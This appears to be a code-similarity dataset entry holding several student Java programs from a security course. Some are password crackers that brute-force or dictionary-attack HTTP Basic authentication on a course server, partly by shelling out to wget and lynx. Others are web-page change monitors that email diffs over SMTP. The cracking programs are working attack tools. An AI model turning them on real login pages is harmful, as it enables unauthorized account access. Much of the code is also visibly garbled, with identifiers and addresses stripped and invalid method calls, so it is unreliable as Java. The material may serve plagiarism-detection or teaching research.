     boolean found= false;
     MyHttpURLConnection    httpURLConnection;
     String passBase64=" ";
     urlAuthenticator =  new URLAuthenticator(userName);
     HttpURLConnection   u=null;
     String  input;
	try {
	       
	        url  = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
     	    
            } catch (MalformedURLException  e){
	    } catch  (IOException  io) {io.printStackTrace();}
	
        while (( input = file.readLine()) != null) {
	      if (input.length() <=3)   {
                  password = input;
		  password =":"+ password;
   	         
                  try {
                       u = (HttpURLConnection)url.openConnection();
		       passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                       u.setRequestProperty("Authorization", " " + passBase64);
			         

			
                       u.connect();
		       noOfAttempts++;	
		    if (u.getContentLength() != 0) {    
		       
		       if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
		          
	                   found=true;
   		          System.out.println("Your User Name : Password Combination is :"+password+ 
			  "   "+ " Found by  Thread");
			  System.out.println("   ");
			  System.out.println(" of Attempts / Requests "+ noOfAttempts);
			  
		          System.exit(0);
		       }	  
                      
		   }

		  } catch  (ProtocolException  px) {px.printStackTrace();
		  } catch (BindException e){e.printStackTrace();
		  } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
		  } catch  (IOException  io) {io.printStackTrace();
		  } finally {u.disconnect();
		  }
              }
        }
	
	
	
	
	
	
	
 }
}
class URLAuthenticator  extends Authenticator   {
   private String uName;
   String passwd;
   static private char[] password;
   public URLAuthenticator(String uName) {
     this.uName = uName;
   }
   public void setPassword(String passwd)  {

     this.passwd=passwd;
     password=passwd.toCharArray();

   }

   public PasswordAuthentication getPasswordAuthentication()  {

	 PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password);
 	 return  passwordAuthentication;
   }
}
class MyHttpURLConnection extends HttpURLConnection  {
    public MyHttpURLConnection(URL url) {
       super(url);
    }
    public void disconnect() {
    }
    public boolean usingProxy() {
        return true;
    }
    public void connect() {
    }
}


         



sentences: import java.io.*;
import java.util.*;
import java.net.*;
import java.net.Authenticator;


public class  Dictionary
{

	private String result ="";

	public class customAuthenticator extends Authenticator {
	       public customAuthenticator(String passwd)
           {
            this.pass = passwd;
           }

	       protected PasswordAuthentication getPasswordAuthentication()
           {
	                 return new PasswordAuthentication("",pass.toCharArray());
           }
           public String pass;
    }

    public Dictionary() {

        DataInputStream dis = null;
        String record = null;
        int recCount = 0, flag=0;
	    String result="";
        java.util.Date d = java.util.Calendar.getInstance().getTime();
        System.out.println(d.toString());


        String url = "http://sec-crack.cs.rmit.edu./SEC/2/";


		int count=1;
		String passwd=new String();
        HttpURLConnection connection = null;
        URL u = null;

        try
        {
         u = new URL(url);
         File f = new File("/usr/share/lib/dict/words");
         FileInputStream fis = new FileInputStream(f);
         BufferedInputStream bis = new BufferedInputStream(fis);
         dis = new DataInputStream(bis);

                while ( (record=dis.readLine()) != null )
		            {
		              System.out.println(count+ " ) " + record);
                      count++;
                      connection = (HttpURLConnection) u.openConnection();
                      Authenticator.setDefault(new customAuthenticator(record));
                        if (connection.getResponseCode()==200)
                            {   System.out.print("The password is : "+record);
                                System.out.println();
                                java.util.Date d1 = java.util.Calendar.getInstance().getTime();
                                System.out.println(d1.toString());
                                System.out.println("\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\n");
                                System.exit(0);
                            }

                    connection.disconnect();
                        }
                }
            catch(Exception e) { System.err.println(e); }
    }

	public static void main(String[] args)
	{

		Dictionary  = new Dictionary();


	}
}, import java.net.*;
import java.io.*;

 public class Bruteforce {
 int attempts = 0;
  int l = 65;int m = 65;int n = 65;
   URLConnection conn = null;

   public static void  main(String args[]){
     
	Bruteforce a = new Bruteforce();
        a.attack(args);
     }

   public void attack(String args[]) {
   try {

       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();

	 passwd = getPasswd();
         BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " + attempts + " tries");
       }
     catch (IOException e) {
    
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     System.out.println("Trying again with new password");
     Bruteforce a = new Bruteforce();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again with new password");
	Bruteforce a = new Bruteforce();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {
    attempts++;

    char i1 = 0;
    char j1 = 0;
    char k1 = 0;
    
     int i= l;     int j= m;     int k= n;

    String c = new String();
    String c1 = new String();
    String c2 = new String();
    String c3 = new String();
    String c4 = new String();
    boolean flag;

    for (i=l;i<123;i++)
    for (j=m;j<123;j++)
    for (k=n;k<123;k++)
    {
        if( flag = true )
        {

    i1 = (char)i;
    j1 = (char)j;
    k1 = (char)k;

    if (i==91) i=97;
    if (j==91) j=97;
    if (k==91) k=97;

    c = i1+"";
    c1 = j1+"";
    c2 = k1+"";
    c3 = c.concat(c1);
    c4 = c3.concat(c2);
    }else break;
    }
    flag = false;
    return c4;
  }

 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", PasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String PasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case  2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }
, import java.net.*; 
import java.io.*; 
import java.util.regex.*;
import java.util.Date;
import java.util.*;
import java.text.*; 




public class WatchDog { 
  public static BufferedReader in;
  

  public static int LIMITINMINUTES=60*24;
  public static int TIMELIMIT=LIMITINMINUTES*1000*60;
  public static void main(String[] args) throws Exception { 
    
    String watchedPage = "http://www.cs.rmit.edu./students/";
    String currentPage = "";  
    
    
    System.out.println(" stop the program, press \"Alt + C\"");
    
    boolean loggedout=false;
    while (!loggedout){
      
      currentPage="";
      
      
      Date date = new Date();
       startTime=date.getTime();
      
      
      URL cs = new URL(watchedPage); 
      HttpURLConnection connection;
      URLConnection csc = cs.openConnection();      
      try {
	BufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); 
	String inputLine; 
	
	while ((inputLine = in.readLine()) != null) {
	  currentPage = currentPage+inputLine;
	}
	
      }
      catch (IOException s) {    
      }
      finally {
	while(in!=null)
          in.next();
      }
      
      String lastPage=readData();
      if (lastPage.trim().equals(currentPage.trim())) {
	System.out.println("Pages match, nothing  email.");
      }
      else {
	
	
	String checkCurrentPage = currentPage.trim();
	String checkLastPage = lastPage.trim();
	int iterations;
	
	boolean lastLongestString;
	if (checkCurrentPage.length()<checkLastPage.length()) {
          iterations = checkCurrentPage.length();
	  lastLongestString = true;
	}
	else {
          iterations = checkLastPage.length();
	  lastLongestString = false;
	  
	}
	String additions = "Here  the additions  the : \n";
	boolean add=false;
	String subtractions = "Here  the parts removed from the : \n";
	boolean sub=false;
	for (int count=0; count<iterations; count++) {
          
	  if (checkLastPage.length()>count && checkCurrentPage.length()>count){
	  
            if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) {
	      
	      
	      if (count<20){
		additions = "Sorry changes   together  distinguish additions and subtractions  . Here is where  : "+ checkCurrentPage.substring(count, checkCurrentPage.length());
		count = iterations;
	      }
	      else {
		
		
		checkCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());
		checkLastPage=checkLastPage.substring(count, checkLastPage.length());
		iterations=iterations-count;
		count=0;

		
		
		
		String regexAdd="";
		if (checkLastPage.length()<20){
		  regexAdd=checkLastPage.substring(count, checkLastPage.length());
		}
		else {	  
		  regexAdd=checkLastPage.substring(0,19);
		}
		String [] changes=checkCurrentPage.split(regexAdd, 2);
		int changeslength=changes.length;
		
		if (changeslength>1){
		  
		  add=true;
		  additions = additions + changes[0];	  
		  
		  
		  if (changeslength>1){
		    checkCurrentPage=regexAdd+changes[1];
		  }
		  else {
		    if (lastLongestString==true) 
	              count=iterations;
		  }  
		}
		else { 
	  		  
		  
		  
		  String regexSub="";
		  if (checkCurrentPage.length()<20){
		    regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());
		  }
		  else {	  
		    regexSub=checkCurrentPage.substring(0,19);
		  }
		  String [] changesSub=checkLastPage.split(regexSub, 2);
		  int changeslengthSub=changesSub.length;
		  
		  if (changeslengthSub>1){
		    
		    sub=true;
		    subtractions = subtractions + changesSub[0];	  
		    
		    
		    if (changeslengthSub>1){
		      checkLastPage=regexSub+changesSub[1];
		    }
		    else {
		      if (lastLongestString==false) 
		      count=iterations;
		    }
		    
		    
		  }
		}
	      }

            } 
	  } 
	} 
	
	
	String emailBody="Changes   have been . \n"+additions+subtractions;

	
	sendEmail(emailBody);
      }

      
      writeData(currentPage);
      
      
      wait24(startTime);
    } 
  } 
  
  
  private static void wait24( int startTime) {
     boolean waiting=true;
     while(waiting){
       Date endDate = new Date();
        endTime=endDate.getTime();
       
       
       if (endTime>(TIMELIMIT+startTime)){
         
          waiting=false;
       }	
     }
  } 
     
  
  public static String readData() {
    String data;
    String lastPage="";
    try {
      BufferedReader in = new BufferedReader(new FileReader("LastVisitedPage.html"));
      while ((data = in.readLine())!=null) {
        lastPage= lastPage + data +"\n";
      }
      
    }
    catch (FileNotFoundException e1) {
      System.exit(0);
    }
    catch (IOException e2) {
      System.out.println("IO Exception, exiting");
      System.exit(0);
    }	    
    finally {
      try {
	if (null!=in) {
        in.next();
	}
    }
    catch (IOException e3) {}
    }
    return lastPage;
  }
  
  
  public static void writeData(String currentPage) {
    PrintWriter out;
      try {
	out = new PrintWriter (new BufferedWriter(new FileWriter("LastVisitedPage.html")));
	out.println(currentPage);
	
	
      }
      catch (IllegalArgumentException e1) {
	System.out.println ("Sorry, 't write  file. None of changes in this session have been saved");
	System.exit(0);
      }
      catch (IOException e2) {
	System.out.println ("Sorry, 't write  file. None of changes in this session have been saved");
	System.exit(0);
	}
      finally {}    
  }  

 
 
 
  public static void sendEmail(String emailBody){
    
    Socket smtpSocket =null;
    DataOutputStream os = null;
    InputStreamReader is = null ;

    Date dDate = new Date();
    DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);

    try{ 
      smtpSocket = new Socket(".rmit.edu.", 25);
      os = new DataOutputStream(smtpSocket.getOutputStream());
      is = new InputStreamReader(smtpSocket.getInputStream());
      BufferedReader  = new BufferedReader(is);

      if(smtpSocket != null && os != null && is != null){ 
      
	try {   
	  os.writeBytes("HELO .rmit.edu.\r\n");
	  
	  
	  os.writeBytes("MAIL From: <@.rmit.edu.>\r\n");

	  
	  os.writeBytes("RCPT : <@cs.rmit.edu.>\r\n");

	  
	  
	  os.writeBytes("DATA\r\n");

	  os.writeBytes("X-Mailer: Via Java\r\n");
	  os.writeBytes("DATE: " + dFormat.format(dDate) + "\r\n");
	  os.writeBytes("From:  <@cs.rmit.edu.>\r\n");
	  os.writeBytes(":   <@cs.rmit.edu.>\r\n");

	  os.writeBytes("Subject:  updated\r\n");
	  os.writeBytes(emailBody + "\r\n");
	  os.writeBytes("\r\n.\r\n");
	  os.writeBytes("QUIT\r\n");

	  
	  
	  String responseline;
	  while((responseline=is.readLine())!=null){  
            
            if(responseline.indexOf("Ok") != -1) {
            break;
            }
	  }
	}
	catch(Exception e){  
	  System.out.println("Cannot send email as  error occurred.");  
	}
      }
      else 
	System.out.println("smtpSocket  another variable is null!");
    } 
    catch(Exception e){ 
      System.out.println("Host unknown"); 
    }
  } 
   
} 


, source_sentence: 

import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;

public class WatchDog extends Thread {

       private HttpURLConnection httpUrlCon;
       private URL stdurl;  
       private String spec = "http://www.cs.rmit.edu./students/"; 
       private String command="";                

       private String firstModified ="";     
       private String secModified = "";      
       private String fileModified = "";     

       private BufferedReader instd;        
       private Vector firstVector;          
       private Vector secondVector;         
       private Vector tmpVector;            

       private  int intervalTime = 24*60*60*1000; 
       private boolean bstop = false;             
       private int count = 0;                          
       private int totalDuration = 30*24*60*60*1000;   

       private String yourSMTPserver = "mail.rmit.edu.";        
       private int smtpPort = 25;                                 
       private String mailFrom = "@yallara.cs.rmit.edu.";    
       private String mailTo   = "@.rmit.edu.";  
       private String subject = "";                              
       private String message ="";                               

       private  Socket socketsmtp;     
       private  BufferedReader emailin;
       private  PrintStream emailout;  
       private  String reply = "";     
       
       public WatchDog(){
              firstVector = new Vector();
              secondVector = new Vector();
              tmpVector = new Vector();
       }
       
       public void FirstRead(){
              readContent(firstVector);
              firstModified = fileModified;
       }
       
       public void run(){
              while(!bstop){
                    readPageAgain();
              }
       }
       
       public void readPageAgain(){
              try{
                  Thread.sleep(intervalTime);

              }catch(InterruptedException e){e.printStackTrace();}
              count += intervalTime;
              readContent(secondVector);
              secModified = fileModified;

              if(firstModified.equals(secModified)){
                 if(count == totalDuration)
                    bstop =true;
                    message = "After " + (double)intervalTime/(60*60*1000) + " hours  is  change!";
                    subject = " is  change  the web ";
                    try{
                        doSendMail(mailFrom, mailTo, subject, message);
                    }catch (SMTPException e){}
              }
              else if(!(firstModified.equals(secModified))){
                     if(count == totalDuration)
                       bstop = true;
                    message = getChangeMessage();
                    subject = "  some changes  the web ";
                    try{
                        doSendMail(mailFrom, mailTo, subject, message);
                    }catch(SMTPException e){}

                    firstModified = secModified;
                    firstVector.clear();
                    for(int i=0; i<secondVector.size(); i++){
                        firstVector.add((String)secondVector.get(i));
                    }
            }
       }
       
       public void readContent(Vector avect){

              String fmod ="";
              if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){
                 fmod = "File last modified :";
                 command = "lynx -nolist -dump " + spec;
              }
              else {
                    fmod = "Last-Modified:";
                    command ="lynx -mime_header -dump " +spec;
              }
              try{
                  Runtime runtime = Runtime.getRuntime();
                  Process p = runtime.exec(command);
                  instd = new BufferedReader(new InputStreamReader(p.getInputStream()));
                  String str=null;
                  avect.clear();
                  while((str = instd.readLine())!= null){
                         avect.add(str);
                         if(str.indexOf(fmod) !=-1){
                            fileModified = str;
                         }
                  }
                  instd.print();
              }catch(MalformedURLException e){System.out.println(e.getMessage());}
               catch(IOException e1){System.out.println(e1.getMessage());}
       }

       
       public String getChangeMessage(){
              String mssg = "";
              for(int i =0; i<secondVector.size();i++){
                  tmpVector.add((String)secondVector.get(i));
              }
              
              for(int i=0; i<firstVector.size(); i++){
                  String line = (String)(firstVector.get(i));
                  int same = 0;
                  for(int j=0; j<tmpVector.size(); j++){
                      String newline = (String)(tmpVector.get(j));
                      if(line.equals(newline)){
                           if(same == 0){
                              tmpVector.remove(j);
                              same++;
                           }
                      }
                  }
              }
              
              for(int i = 0; i<secondVector.size(); i++){
                  String line = (String)(secondVector.get(i));
                  int same =0;
                  for(int j=0; j<firstVector.size(); j++){
                      String newline = (String)(firstVector.get(j));
                      if(line.equals(newline)){
                         if(same == 0){
                            firstVector.remove(j);
                            same++;
                         }
                      }
                  }
              }
              if(firstVector.size()!=0){
                  mssg += "The following lines  removed in the latest modified web : \r\n";
                  for(int i=0; i<firstVector.size(); i++){
                      mssg +=(String)firstVector.get(i) + "\r\n";
                  }
              }
              if(tmpVector.size()!=0){
                  mssg += "The following lines  new ones in the latest modified web : \r\n";
                  for(int i=0; i<tmpVector.size(); i++){
                      mssg += (String)tmpVector.get(i) + "\r\n";
                  }
              }

              return mssg;
       }

       
       public void setMonitorURL(String url){
              spec = url;
       }
       
       public void setMonitorDuration(int t){
              totalDuration = t*60*60*1000;
       }
       
       public void setMonitorInterval(int intervalMinutes){
              intervalTime = intervalMinutes*60*1000;
       }
       
       public void setSMTPServer(String server){
              yourSMTPserver = server;
       }
       
       public void setSMTPPort(int port){
              smtpPort = port;
       }
       
       public void setMailFrom(String mfrom){
              mailFrom = mfrom;
       }
       
       public void setMailTo(String mto){
              mailTo = mto;
       }
       
       public String getMonitorURL(){
              return spec;
       }
       
       public  getDuration(){
              return totalDuration;
       }
       
       public  getInterval(){
              return intervalTime;
       }
       
       public String getSMTPServer(){
              return yourSMTPserver;
       }
       
       public int getPortnumber(){
              return smtpPort;
       }
       
       public String getMailFrom(){
              return mailFrom;
       }
       
       public String getMailTo(){
              return mailTo;
       }
       
       public String getServerReply() {
              return reply;
       }
       
       public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{
              connect();
              doHail(mfrom, mto);
              doSendMessage(mfrom, mto, subject, msg);
              doQuit();
       }
       
       public void connect() throws SMTPException {
              try {
                   socketsmtp = new Socket(yourSMTPserver, smtpPort);
                   emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));
                   emailout = new PrintStream(socketsmtp.getOutputStream());
                   reply = emailin.readLine();
                   if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}
                   else {
                         throw new SMTPException("Error connecting  SMTP server " + yourSMTPserver + "  port " + smtpPort);
                   }
             }catch(Exception e) { throw new SMTPException(e.getMessage());}
       }
       
       public void doHail(String mfrom,  String mto) throws SMTPException {
              if (doCommand("HELO " + yourSMTPserver))
                  throw new SMTPException("HELO command Error.");
              if (doCommand("MAIL FROM: " + mfrom))
                  throw new SMTPException("MAIL command Error.");
              if (doCommand("RCPT : " + mto))
                  throw new SMTPException("RCPT command Error.");
       }
       
       public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {

              Date date = new Date();
	          Locale locale = new Locale("","");
	          String pattern = "hh:mm: a',' dd-MMM-yyyy";
	          SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);
	          formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne"));
              String sendDate = formatter.format(date);

              if (doCommand("DATA"))
                  throw new SMTPException("DATA command Error.");
              String header = "From: " + mfrom + "\r\n";
              header += ": " + mto + "\r\n";
              header += "Subject: " + subject + "\r\n";
              header += "Date: " + sendDate+ "\r\n\r\n";
              if (doCommand(header + msg + "\r\n."))
                 throw new SMTPException("Mail Transmission Error.");
       }
       
       public boolean doCommand(String commd) throws SMTPException {
               try {
                    emailout.print(commd + "\r\n");
                    reply = emailin.readLine();
                    if (reply.charAt(0) == '4' || reply.charAt(0) == '5')
                        return true;
                    else
                        return false;
               }catch(Exception e) {throw new SMTPException(e.getMessage());}
       }
       
       public void doQuit() throws SMTPException {
              try {
                   if (doCommand("Quit"))
                       throw new SMTPException("QUIT Command Error");
                   emailin.put();
                   emailout.flush();
                   emailout.send();
                   socketsmtp.put();
              }catch(Exception e) { }
       }
}
sentences: import java.Object;
import java.io.*;
import java.String;
import java.util.*;

class Dictionary{

      public static void main(String [] args){
              try
                {
                Date d = new Date();
                String line1="";
                String ps="";
                String file1 = "words.txt";
                String file2 = "index.html";
                String endline="Authorization failed.";
                String [] cmd = new String[4];
                cmd[0] = "wget";
                cmd[1] = "--http-user=";
                cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";

                FileReader fr1 = new FileReader(file1);
                BufferedReader in1 = new BufferedReader(fr1);
                while((line1 = in1.readLine())!=null)
                {
                  try{
                    cmd[2] = connect(line1);
                    Runtime.getRuntime().exec(cmd);
                    if(line1.length()==3)
                      ps = line1;
                    System.out.println(cmd[2]);
                    File f = new File(file2);
                    if(f.exists())
                    {
                    System.out.println("password: " + ps);
                    break;
                    }
                   }
                    catch(IOException ex)
                    {
                        System.out.println("hello1");
                    }

                }
                Date end = new Date();
                System.out.println(d.toString());
                System.out.println(end.toString());
                System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));
               }

            catch(IOException e)
            {
              System.out.println("hello,didnt find file.");
            }
      }
    public static String connect(String str1)
            {
                 char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
                 String str = new String(data);
                 return str + str1;
            }

}
, import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;
import java.security.*;



public class WatchDog extends Thread
{

	
	public static void main (String args[])
	{
	    WatchDog watcher = new WatchDog();
	    watcher.run();
	}

	
    public void run()
    {
   		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
          twentyFourHours = 24 * 60 * 60 * 1000;
        

   		writeProgramLog("Program started at " + longTimestamp.format(new Date()));
        while(true)
        {
    		writeProgramLog("Running run at " + longTimestamp.format(new Date()));
            compare();
            try
            {
                sleep(twentyFourHours);
            }
            catch(InterruptedException e)
            {
                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));
                System.exit(0);
            }
        }
    } 

	
    private void compare()
    {
        
        
        
        String watchDogFile = "watchDogHash_rcroft.";
        String watchDogPageFile = "watchDogPage_rcroft.html";
    
        File watchDogLogFile = new File(watchDogFile);
        
        if(!watchDogLogFile.exists())
        {
            
            
            
            
            
            WebPage targetPage = getPage();
            if(targetPage.getSuccess())
            {
                byte[] newHash = calcHash(targetPage.getPageContents());
                writeHash(newHash, watchDogFile);
                writePage(targetPage.getPageContents(), watchDogPageFile);
            }
        }
        else
        {
            try
            {
                
                
                
                
                
                
                WebPage targetPage = getPage();
                if(targetPage.getSuccess())
                {
                    
                    byte[] oldHash = new byte[16]; 
                    byte[] newHash = calcHash(targetPage.getPageContents());

                    
                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));
                    inWatchDogFile.readFully(oldHash);
                    inWatchDogFile.print();
                    
                    
                    
                    
                    if(!java.util.Arrays.equals(oldHash, newHash))
                    {
                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());
                        mail(differences);
                        writeHash(newHash, watchDogFile);
                        writePage(targetPage.getPageContents(), watchDogPageFile);
                    }
                }
            }
            catch(IOException e)
            {
                writeProgramLog("Exception: " + e);
            }
        }
    } 
    

	
	private String enumerateDifferences(String oldPageFileName, String newPageData)
	{
	    String differences = "";
	    File newFile = null;

	    try
	    {
	      
	      
	      newFile = File.createTempFile("new", "tmp");
          String tempFilePath = newFile.getAbsolutePath();
          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));
          outFile.writeBytes(newPageData);
          outFile.print();
          
          
          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;
          Process p = Runtime.getRuntime().exec(commandLine);
          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));
          String line;
          while((line = diffs.readLine()) != null)
            differences += line + "\n";
          diffs.print();
          newFile.delete();
	    }
	    catch(IOException e)
	    {
	        writeProgramLog("Exception: " + e);
	    }
	    return differences;
	}  

	
    private void mail(String mailMessage)
    {
        
        Vector emailAddresses = new Vector();
        String watchDogEmailFile = "watchDogEmail_rcroft.txt";

        
        File emailFile = new File(watchDogEmailFile);
        if(emailFile.exists())
        {
            try
            {
                
                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));
                String line;
                while ((line = inWatchDogEmailFile.readLine()) != null)
                {
                    line = line.trim();
                    if((line != "") && (line != "\n"))
                        emailAddresses.add(line);
                }
                inWatchDogEmailFile.print();
    	    }
    	    catch(FileNotFoundException e)
    	    {
    	        writeProgramLog("Exception: " + e);
    	    }
    	    catch(IOException e)
    	    {
    	        writeProgramLog("Exception: " + e);
    	    }
        }
        else
        {
            emailAddresses.add("@yallara.cs.rmit.edu.");
            emailAddresses.add("rac@acslink.aone.net.");
        }
                
        if(emailAddresses.size() > 0) 
        {
            try
            {
                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";
        		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";
                for(int i = 0; i < emailAddresses.size(); i++)
                {
                    String toAddress = (String) emailAddresses.get(i);
                    try
                    {
                        URL mailURL = new URL("mailto: " + toAddress);
                        URLConnection mailConnection = mailURL.openConnection();
                        mailConnection.setDoInput(false);
                        mailConnection.setDoOutput(true);
                        mailConnection.connect();
                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));
                        mailWriter.print(": " + toAddress + "\n");
                        mailWriter.print(fromAddress + "\n");
                        mailWriter.print(subject + "\n");
                        mailWriter.print(mailMessage);
                        mailWriter.print();
                        writeProgramLog("\tNotification mailed in this run.");
                    }
                    catch(MalformedURLException e)
                    {
                        writeProgramLog("Exception: " + e);
                    }
                    catch(IOException e)
                    {
                        writeProgramLog("Exception: " + e);
                    }
                }
            }
            catch(UnknownHostException e)
            {
                writeProgramLog("Exception: " + e);
            }  
        }  
    } 
    

	
    private void writeHash(byte [] newHash, String fileName)
    {
        try
        {
            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));
            outFile.write(newHash, 0, newHash.length);
            outFile.print();
        }
        catch(IOException e)
        {
            writeProgramLog("Exception: " + e);
        }
    }  
    
	
    private void writePage(String newPage, String fileName)
    {
        try
        {
            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));
            outFile.writeBytes(newPage);
            outFile.print();
        }
        catch(IOException e)
        {
            writeProgramLog("Exception: " + e);
        }
    }  
    

	
    private void writeProgramLog(String comment)
    {
        String fileName = "watchDogLog_rcroft.txt";
        try
        {
            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));
            outFile.writeBytes(comment + "\n");
            outFile.flush();
            outFile.print();
        }
        catch(IOException e)
        {
            
            
            System.out.println("Exception: " + e);
        }
    }  

	
    private WebPage getPage()
    {
        WebPage tempWebPage = new WebPage();
        try
        {
            
            
            
            String urlName = "http://www.cs.rmit.edu./students/";
   	    	URL targetURL= new URL(urlName);
           	HttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();
        
            
            connection.connect();
            connection.getResponseCode();
            if(connection.getResponseCode() == 200)
		    {
		        String fileContents = "";
		        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
                String line;
    		    while((line = in.readLine()) != null)
		    	    fileContents = fileContents + line + "\n";
		        in.print();
		        tempWebPage.setPageContents(fileContents);
    		    tempWebPage.setSuccess(true);
    		    connection.disconnect();
	        }
	        else
		    {
    		    writeProgramLog("Failed  connect " + connection.getResponseCode());
		    } 
        }
        catch(IOException e)
        {
    	    writeProgramLog("Exception " + e);
        } 
        return tempWebPage;
    } 
    
	
    private  byte[] calcHash(String pageContents)
    {
        byte[] outHash = null;
        try
        {
            MessageDigest msg = MessageDigest.getInstance("");
            msg.reset();
            msg.update(pageContents.getBytes());
            outHash = msg.digest();
            msg.reset();
        }
        catch(NoSuchAlgorithmException e)
        {
            writeProgramLog("Exception: " + e);
        }
        return outHash;
    } 
        
} 
, 

import java.net.*;
import java.io.*;

public class Dictionary{

       private String passwd = "";              
       private String command = "";             
       private String fname = "/usr/share/lib/dict/words"; 
       private BufferedReader readin;          
       private BufferedReader in;              
       private PrintWriter  out;               

       private int startTime = 0;             
       private int endTime = 0;               
       private int totalTimes = 0;            
       
       private boolean bfind = false;
       
       public Dictionary(){}
       
       public void readPasswd(){
              startTime = System.currentTimeMillis();
              try{
                  readin = new BufferedReader(new FileReader(fname));
				  while ((passwd = readin.readLine()) !=null){
                   		 if(bfind)
                   		    break;
                         connection(passwd.trim());
				  }
				  readin.print();
			  }catch (FileNotFoundException e1){System.out.println(e1.getMessage());}
			   catch (IOException e2 ){System.out.println(e2.getMessage());}
	   }
       
       public void connection(String passwd){
              command = "lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:";
              command = command + passwd;
              try{
                  System.out.println(passwd +"-->  Establishing a connection.");
                  Runtime runtime = Runtime.getRuntime();
                  Process p = runtime.exec(command);
                  in = new BufferedReader(new InputStreamReader(p.getInputStream()));
                  String inStr;
                  while((inStr = in.readLine())!= null){
                        if(inStr.indexOf("HTTP/1.1 200") != -1 || inStr.indexOf("HTTP/1.0 200") != -1||
                            inStr.indexOf("HTTP/1.1 404") != -1 || inStr.indexOf("HTTP/1.0 404") != -1){
                            endTime = System.currentTimeMillis();
                            totalTimes = endTime - startTime;
                            System.out.println("\nDictionary Crack Passwd successful, PassWord is " + passwd);
                            System.out.println("Total Times is " + totalTimes + " milliSec");
                            System.out.println("Writing it  dictpswd.txt file\n");
                            out = new PrintWriter(new BufferedWriter(new FileWriter("dictpswd.txt")));
                            out.println("Dictionary Crack PassWord Successful! Total Times: " + totalTimes + " milliSec");
